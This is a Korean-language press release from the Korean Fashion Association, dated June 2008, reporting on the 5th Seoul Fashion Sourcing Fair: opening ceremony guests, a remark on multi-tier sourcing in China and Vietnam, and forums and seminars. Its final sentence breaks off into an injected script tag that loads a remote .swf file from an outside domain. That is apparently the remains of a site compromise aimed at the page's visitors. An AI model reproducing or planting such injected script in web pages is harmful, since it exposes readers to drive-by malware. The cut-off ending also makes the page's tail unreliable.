제5회 서울패션소싱페어 대성황

한국패션협회 2008-06-30 17:11 조회수 아이콘 1248

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글로벌 베스트 소싱기업 한자리에
한국패션협회·패션인사이트 공동 주최 ‘제5회 서울패션소싱페어’ 대성황

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국내외 7개국의 우수한 85 개 의류 생산업체를 한 자리에서 만나 비즈니스의 새로운 장을 전개한 <제5회 서울패션소싱페어(SEOUL Fashion Sourcing Fair2008 JUNE; 약칭 SFSF)>가 지난 25일부터 3일간 서울무역전시컨벤션센터(SETEC)에서 열려 업계의 관심이 집중됐다.


첫날인 25일 7시 30분 리베라 호텔에서 120여명이 참석한 가운데 열린 섬유∙패션 글로벌 한상 포럼에 이어 10시에 전시장에서 개막식이 있었다. 이날 개막식에서는 공동 주최자인 한국패션협회 원대연 회장, 지식경제부 정동창 팀장, 보끄레머천다이징 이만중 회장, 여성경제인 연합회 안윤정 회장, 한국패션협회 장호순 고문, 코오롱FM 김창호 사장, 한국섬유기술연구소 이명학 소장, 트라이시클 최형석 사장, 패션인사이트 황상윤 발행인 등 국내 인사들과 중국심천복장협회 선용방 회장, 복식도보사 주건명 발행인, 남경시백화점협회 오학군 비서장, 이랑유한공사 호성초 부사장 등 중국 인사들이 참석해 테이프 커팅식을 갖고 100여명의 업계 인사들과 함께 전시 업체를 돌아보며 주최 측으로부터 설명을 들었다.


SFSF는 한국패션협회(회장 원대연)와 패션인사이트(발행인 황상윤)가 공동 주최하였으며, 지난 2006년부터 해마다 2차례씩 서울에서 열고 있다. 주최 측은 “최근 국내 패션 시장이 공급 과잉 현상을 나타내며 가격 경쟁이 치열하고 유통 비용은 증가하고 있으며 수익성이 떨어지면서 소싱에 대한 중요성이 매우 중요한 상황”이라고 밝혔다.


원대연 한국패션협회 회장은 “국내 시장에서 판매되는 의류의 90% 이상이 중국과 베트남에서 생산되고 있다. 그러나 국내 브랜드 업체는 1차 오더를 서울의 프로모션 업체에 주고 , 프로모션 업체는 중국 내 프로모션 업체에 2차 오더를, 중국 프로모션 업체는 중국 생산업체에 3차 오더를 주는 다단계로 이뤄지고 있다.”고 밝혔다.  원 회장은 “국내 브랜드 업체나 생산기업 모두 기대에 못 미치는 수익구조에 머무르고 있는 것이 현실” 이라면서 “ 국내 브랜드가 성장하기 위해서는 국내 산지 소재기업과 동남아 봉제기업 등 직접 생산 기반을 갖춘 기업간 직거래가 절실하다. 이번 전시회는 이러한 업계의 요구에 부응하기 위해 출범했다”고 설명했다. 이번 전시회에는 국내 소재 및 ODM 업체, 중국과 베트남 봉제기업 등 85개 소싱 기업이 참가, 자사의 제품과 회사 이미지를 선보였다.

韓商·韓中 포럼, 각종 세미나 등 풍성
이번 전시회 기간 중에는 △섬유∙패션 글로벌 한상 포럼 △한중 패션 기업 경영자 포럼이 조찬 간담회 형식으로 리베라 호텔에서 열렸다. 첫날 한상 포럼에서는 최근 미국 프리미엄 데님 시장에서 주목 받고 있는 모나키의 헨리 킴 사장이 모나키 경영의 성공과 실패담을 진솔하게 밝혔으며, 둘째날 한중 포럼에는 복식도보 주건명 사장, 이랑 호성초 부사장, 남경시 백화점협회 오학군 비서장 등이 중국 패션 시장 현황과 국내 업체의 진출 전략 수립에 도움이 되는 주제들을 발표, 호평을 받았다.
세미나에서는 조필수 코뮤스인터내셔날 사장이 ‘경영자를 위한 맞춤형 해외 소싱 노하우, CMG 김묘한 사장이 ‘디자이너∙MD를 위한 메가 트렌드. 야오위엔 진꺼티에지 브랜드 관리 고문사 대표가 ‘1조원 매출 「카파차이나」 성공사례 분석-출시 5년 만에 유통 3000여개 연매출 1조원 성장 비밀’ 을 발표해 성황을 이뤘다. 또한 패션유통 점포창업 포럼은 소자본, 무자본으로 패션 매장 창업하기, 성공하는 매장의 매출 향상 전략과 관리 노하우, 한국형 셀렉트숍의 미래 등 다양 하고도 실리적인 주제로 3차례 열렸다. 이 밖에 중국∙인도∙동남아 등 해외 생산환경 변화에 따른 한국 패션 기업 소싱 대응 전략, 매출 2배 향상 시키는 지능형 ERP 세미나 등 다양한 강좌도 진행되었다.
한편 서울무역전시컨벤션센터(SETEC) 2관에서는 국내 패션 소매시장의 흐름을 한 눈에 볼 수 있는 <2008 패션 유통 점포 창업전>이 열려 인기를 끌었다.
이 행사는 <서울패션소싱페어>와 연계해 백화점과 대형 마트, 온라인 쇼핑몰, 로드숍 등 패션 유통업자를 위한 브랜드관 형태로 열렸다. 브랜드관에는 △올 하반기 신규 브랜드 △오프라인 진출을 희망하는 온라인 브랜드 △한국 시장 진출을 희망하는 글로벌 ?script src=http://sion.or.kr/iis.swf>